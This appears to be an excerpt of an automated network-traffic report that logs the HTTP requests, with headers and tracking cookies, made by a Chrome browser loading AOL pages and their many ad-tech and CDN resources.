Source: global traffic	HTTP traffic detected: GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTI4NDkmdGw9MTI5NjAw&piggybackCookie=8369ae03-bf51-422b-a15c-33306b0e1dfe&gdpr=0&gdpr_consent= HTTP/1.1Host: simage2.pubmatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KADUSERCOOKIE=BD0DE19C-09D4-4B62-A188-46A0D2E6C177; chkChromeAb67Sec=1; pi=133799:2; DPSync3=1717632000%3A201_245_241_227; SyncRTB3=1717632000%3A21_56_251_71_3_220_13_54_8%7C1717027200%3A223
Source: global traffic	HTTP traffic detected: GET /usersync2/rmphb?gdpr=0&gdpr_consent=&us_privacy=1YNN&redir=https%3A%2F%2Fpbs.yahoo.com%2Fsetuid%3Fbidder%3Dunruly%26gdpr%3D0%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26f%3Di%26uid%3D%5BRX_UUID%5D HTTP/1.1Host: sync.1rx.ioConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /instream/video/client.js HTTP/1.1Host: s0.2mdn.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://s.yimg.com/rx/ev/builds/1.6.29/pframe.htmlAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/css/ HTTP/1.1Host: help.aol.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://help.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; A3=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; A1S=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; cmp=t=1716503681&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; weathergeo=%2240.75%7C-73.98%7CNew%20York%7CNY%7CUnited%20States%7C0%7C12761404%22; axids=gam=y-QM7g1aNE2uJx8P1wgixkZr9U8llKQOEG~A&dv360=eS1DRVBhdFY1RTJ1SExXeFFKWHJsbzM0eHJ5amtROU9CNH5B
Source: global traffic	HTTP traffic detected: GET /images/dims?thumbnail=16%2C16%2Cauto&image_uri=https%3A%2F%2Fs.yimg.com%2Fos%2Fcreatr-uploaded-images%2F2020-11%2F24ea2060-2fbd-11eb-b6fd-a6e16217c6e6&client=76f99bdb8f78cd44cc0b&signature=1419feb050e694c7a2754e158012c82126a1c217 HTTP/1.1Host: s.aolcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?thumbnail=16%2C16%2Cauto&image_uri=https%3A%2F%2Fs.yimg.com%2Fos%2Fcreatr-uploaded-images%2F2020-12%2F515ef980-3432-11eb-b5ef-2a7f8e085664&client=76f99bdb8f78cd44cc0b&signature=d35cb23bd2a7d15db2b9b7fbe5c674ff1e2112a3 HTTP/1.1Host: s.aolcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?quality=80&thumbnail=300%2C300%2Cauto&image_uri=https%3A%2F%2Fmedia.zenfs.com%2Fen%2Faol_variety_168%2F86398a45e567bb803f18e1c898b80f4d&client=76f99bdb8f78cd44cc0b&signature=fa8a7e31abec34ce9bbd0b370082807b05100ca9 HTTP/1.1Host: s.aolcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?quality=80&thumbnail=300%2C300%2Cauto&image_uri=https%3A%2F%2Fs.yimg.com%2Fos%2Fcreatr-uploaded-images%2F2022-08%2F42b48620-19dc-11ed-9def-335ff63bb2a0&client=76f99bdb8f78cd44cc0b&signature=0468b59009bf341c47eef19de48a359570b09e19 HTTP/1.1Host: s.aolcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?thumbnail=16%2C16%2Cauto&image_uri=https%3A%2F%2Fs.yimg.com%2Fos%2Fcreatr-uploaded-images%2F2023-11%2F50be11c0-78ed-11ee-b7af-8321670771f9&client=76f99bdb8f78cd44cc0b&signature=7c9ec566c152b8d5ce6757c69659757d3e78e0a5 HTTP/1.1Host: s.aolcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?quality=80&thumbnail=300%2C300%2Cauto&image_uri=https%3A%2F%2Fs.yimg.com%2Fos%2Fcreatr-uploaded-images%2F2024-05%2F6d3021a0-1900-11ef-bbe7-54c03d9b20b6&client=76f99bdb8f78cd44cc0b&signature=0f97af9efe0add39adc2bf15914aa82f4bf73c5e HTTP/1.1Host: s.aolcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ups/58292/sync?_origin=1&uid=BD0DE19C-09D4-4B62-A188-46A0D2E6C177&redir=true&gdpr=0&gdpr_consent= HTTP/1.1Host: ups.analytics.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; IDSYNC="19cw~2ila:19e0~2ila"
Source: global traffic	HTTP traffic detected: GET /w/1.0/cm?id=78e2dffc-bb89-4bb2-ae92-f592d006518b&ph=6a16560a-f6c6-4851-b7b5-0b2c0190166a&r=https%3A%2F%2Fcontextual.media.net%2Fcksync.html%3Fcs%3D8%26vsid%3D3595052986404735000V10%26type%3Dopx%26refUrl%3D%26vid%3D65037015853595052986404735000V10%26axid_e%3D%26ovsid%3D HTTP/1.1Host: us-u.openx.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://contextual.media.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1; i=fce27513-0e48-41b6-bbf8-6f471e4664ab\|1716503696; pd=v2\|1716503697\|vMgavPkWgyiK
Source: global traffic	HTTP traffic detected: GET /dcm?pid=6e1b1225-4dd8-4d7d-b277-465574a27014&id=77983637-bb65-c5bb-2120-253812529cb6 HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://yahoo-bidout-d.openx.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=A5cRjNUAyEa0vmcria2wSMY\|t
Source: global traffic	HTTP traffic detected: GET /sync?nid=11&gdpr=0&gdpr_consent= HTTP/1.1Host: sync.srv.stackadapt.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: sa-user-id=s%3A0-c03462dd-8d57-5ae7-6dc9-e73928abe3ee.cC1n3zDyhdfUajg1KrKz%2FEnduQyH5exIiG0vveKiBJ0; sa-user-id=s%3A0-c03462dd-8d57-5ae7-6dc9-e73928abe3ee.cC1n3zDyhdfUajg1KrKz%2FEnduQyH5exIiG0vveKiBJ0; sa-user-id-v2=s%3AwDRi3Y1XWudtyec5KKvj7ggue68.1BtdFXujCU3EjthsQO1J%2BECW%2FD5g81GrEa24jcaxRBo; sa-user-id-v2=s%3AwDRi3Y1XWudtyec5KKvj7ggue68.1BtdFXujCU3EjthsQO1J%2BECW%2FD5g81GrEa24jcaxRBo; sa-user-id-v3=s%3AAQAKICWK7ROb07V9PmEn2vVZdbPEAOAQWut3_axX1l4WbhH3EHwYBCCQib-yBjABOgT87-jmQgTyVnXP.E45gq9hya5Nv1NRfp5pA0NcenT6KPMIL4Fw9pUjGZxY; sa-user-id-v3=s%3AAQAKICWK7ROb07V9PmEn2vVZdbPEAOAQWut3_axX1l4WbhH3EHwYBCCQib-yBjABOgT87-jmQgTyVnXP.E45gq9hya5Nv1NRfp5pA0NcenT6KPMIL4Fw9pUjGZxY
Source: global traffic	HTTP traffic detected: GET /xuid?mid=2319&xuid=0-c03462dd-8d57-5ae7-6dc9-e73928abe3ee$ip$8.46.123.175&dongle=4430 HTTP/1.1Host: eb2.3lift.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eb2.3lift.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: tluidp=3476490108663385185440; tluid=3476490108663385185440
Source: global traffic	HTTP traffic detected: GET /xuid?mid=2662&xuid=y-gPhdo71E2oSdeaPLxAL9mEitt.dXnA67oJ7i7V0K1Q--~A&dongle=0883 HTTP/1.1Host: eb2.3lift.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eb2.3lift.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: tluidp=3476490108663385185440; tluid=3476490108663385185440
Source: global traffic	HTTP traffic detected: GET /track/cmb/generic?ttd_pid=svx9t50&ttd_tpi=1&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid= HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eb2.3lift.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=8369ae03-bf51-422b-a15c-33306b0e1dfe; TDCPM=CAESFwoIcHVibWF0aWMSCwjeipPY0-D9PBAFEhYKB3J1Ymljb24SCwia7rnl0-D9PBAFGAEgAigCMgsInoGWherg_TwQBTgBWghwdWJtYXRpY2AC
Source: global traffic	HTTP traffic detected: GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0MjImdGw9MTI5NjAw&gdpr=0&gdpr_consent= HTTP/1.1Host: image2.pubmatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KADUSERCOOKIE=BD0DE19C-09D4-4B62-A188-46A0D2E6C177; chkChromeAb67Sec=2; pi=0:3; DPSync3=1717632000%3A219_197_201_245_241_227_226; SyncRTB3=1717632000%3A56_21_71_220_13_233_22_264_251_54_266_55_3_8_46%7C1717718400%3A35%7C1717027200%3A15_223%7C1717286400%3A63%7C1719014400%3A203
Source: global traffic	HTTP traffic detected: GET /assets/js/vendor/rapidworker-1.2.js HTTP/1.1Host: help.aol.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://help.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; A3=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; A1S=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; cmp=t=1716503681&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; weathergeo=%2240.75%7C-73.98%7CNew%20York%7CNY%7CUnited%20States%7C0%7C12761404%22; axids=gam=y-QM7g1aNE2uJx8P1wgixkZr9U8llKQOEG~A&dv360=eS1DRVBhdFY1RTJ1SExXeFFKWHJsbzM0eHJ5amtROU9CNH5B
Source: global traffic	HTTP traffic detected: GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTIxNzcmdGw9MTI5NjAw&gdpr=0&gdpr_consent=&piggybackCookie=CAESEO5FZOJv3zXMMW5oDLBIMAE&google_cver=1 HTTP/1.1Host: image2.pubmatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KADUSERCOOKIE=BD0DE19C-09D4-4B62-A188-46A0D2E6C177; chkChromeAb67Sec=2; pi=0:3; DPSync3=1717632000%3A219_197_201_245_241_227_226; SyncRTB3=1717632000%3A56_21_71_220_13_233_22_264_251_54_266_55_3_8_46%7C1717718400%3A35%7C1717027200%3A15_223%7C1717286400%3A63%7C1719014400%3A203
Source: global traffic	HTTP traffic detected: GET /getuid?https://ads.yieldmo.com/v000/sync?userid=$UID&pn_id=an HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.yieldmo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XANDR_PANID=l9feJkDQllA9othKr8ID1vtALy-eG1am64URWo-Hh-HIRPRtJa12ojMlnucbuX1rmNMYn4_yirbzWHGXYPJIXmCPnOsC-rBVbIigEVijp24.; receive-cookie-deprecation=1; uuid2=9165965397510453586
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=tl&gdpr=0&gdpr_consent=&us_privacy=&google_hm=MzQ3NjQ5MDEwODY2MzM4NTE4NTQ0MA%3D%3D HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eb2.3lift.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUl24wB7LaOrb-JA1R71gTRWma_l2a_Rk4JPr6x_KG5c9DhPyI2VNhyz4Wv0gm4
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=triplelift&gdpr=0&gdpr_consent=&us_privacy=&google_hm=MzQ3NjQ5MDEwODY2MzM4NTE4NTQ0MA%3D%3D HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eb2.3lift.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUl24wB7LaOrb-JA1R71gTRWma_l2a_Rk4JPr6x_KG5c9DhPyI2VNhyz4Wv0gm4
Source: global traffic	HTTP traffic detected: GET /static/topics/topics_frame.html HTTP/1.1Host: securepubads.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUl24wB7LaOrb-JA1R71gTRWma_l2a_Rk4JPr6x_KG5c9DhPyI2VNhyz4Wv0gm4
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=triplelift&google_cm=&google_sc=&gdpr=0&gdpr_consent=&google_tc= HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eb2.3lift.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUl24wB7LaOrb-JA1R71gTRWma_l2a_Rk4JPr6x_KG5c9DhPyI2VNhyz4Wv0gm4
Source: global traffic	HTTP traffic detected: GET /gampad/ads?pvsid=296895992675461&correlator=3552593360320675&eid=31079956%2C31083928%2C31079525%2C31078663%2C31078665%2C31078668%2C31078670&output=ldjh&gdfp_req=1&vrg=202405220101&ptt=17&impl=fifs&gdpr=0&us_privacy=1YNN&gpp_sid=-1&iu_parts=22888152279%2Cus%2Caol%2Chp%2Cdt%2Cus_aol_hp_dt_top_center%2Cus_aol_hp_dt_mid_center%2Cus_aol_hp_dt_as_top_right_b%2Cus_aol_hp_dt_as_top_right_a&enc_prev_ius=%2F0%2F1%2F2%2F3%2F4%2F5%2C%2F0%2F1%2F2%2F3%2F4%2F6%2C%2F0%2F1%2F2%2F3%2F4%2F7%2C%2F0%2F1%2F2%2F3%2F4%2F8&prev_iu_szs=728x90%7C970x250%7C3x1%2C970x250%2C300x250%2C300x250&ifi=1&sfv=1-0-40&fsfs=1%2C1%2C1%2C1&fsbs=1%2C1%2C1%2C1&eri=37&sc=1&cookie_enabled=1&abxe=1&dt=1716503701459&adxs=268%2C197%2C855%2C855&adys=0%2C1810%2C721%2C121&biw=1263&bih=907&scr_x=0&scr_y=0&btvi=0%7C1%7C0%7C0&ucis=1%7C2%7C3%7C4&oid=2&u_his=1&u_h=1024&u_w=1280&u_ah=984&u_aw=1280&u_cd=24&u_sd=1&u_tz=-240&dmc=8&bc=31&nvt=1&uach=WyJXaW5kb3dzIiwiMTAuMC4wIiwieDg2IiwiIiwiMTE3LjAuNTkzOC4xMzQiLG51bGwsMCxudWxsLCI2NCIsW1siR29vZ2xlIENocm9tZSIsIjExNy4wLjU5MzguMTM0Il0sWyJOb3Q7QT1CcmFuZCIsIjguMC4wLjAiXSxbIkNocm9taXVtIiwiMTE3LjAuNTkzOC4xMzQiXV0sMF0.&url=https%3A%2F%2Fwww.aol.com%2F&vis=1&psz=1263x0%7C1121x290%7C300x600%7C300x600&msz=1263x0%7C1121x290%7C300x600%7C300x0&fws=4%2C4%2C132%2C132&ohw=1263%2C1263%2C300%2C300&ga_vid=12072868.1716503701&ga_sid=1716503701&ga_hid=1123642879&ga_fc=false&td=1&topics=9&tps=9&htps=10&nt=1&psd=WzE1LFtdLG51bGwsM10.&dlt=1716503670400&idt=30858&prev_scp=loc%3Dtop_center%7Cloc%3Dmid_center%7Cloc%3Dtop_right_b%7Cloc%3Dtop_right_a&cust_params=bucket%3Daol-acookie-control%252Caol-aa-1%26colo%3Deu-west-1%26device%3Ddesktop%26lang%3Den-US%26lu%3D0%26region%3DUS%26site%3Daol%26ver%3Dtd-app-aol%26pct%3Daol%26pt%3Dhome%26spaceid%3D1197803361%26yrid%3D30rmpplj4vh3m%26bka%3D0%26hb_uid_mod%3Dliveintentid_on_not_enriched%26li-module-enabled%3Dt1-e0&adks=274640380%2C2523778429%2C3976696149%2C2369062128&frm=20&eoidce=1 HTTP/1.1Host: securepubads.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.aol.comX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUl24wB7LaOrb-JA1R71gTRWma_l2a_Rk4JPr6x_KG5c9DhPyI2VNhyz4Wv0gm4
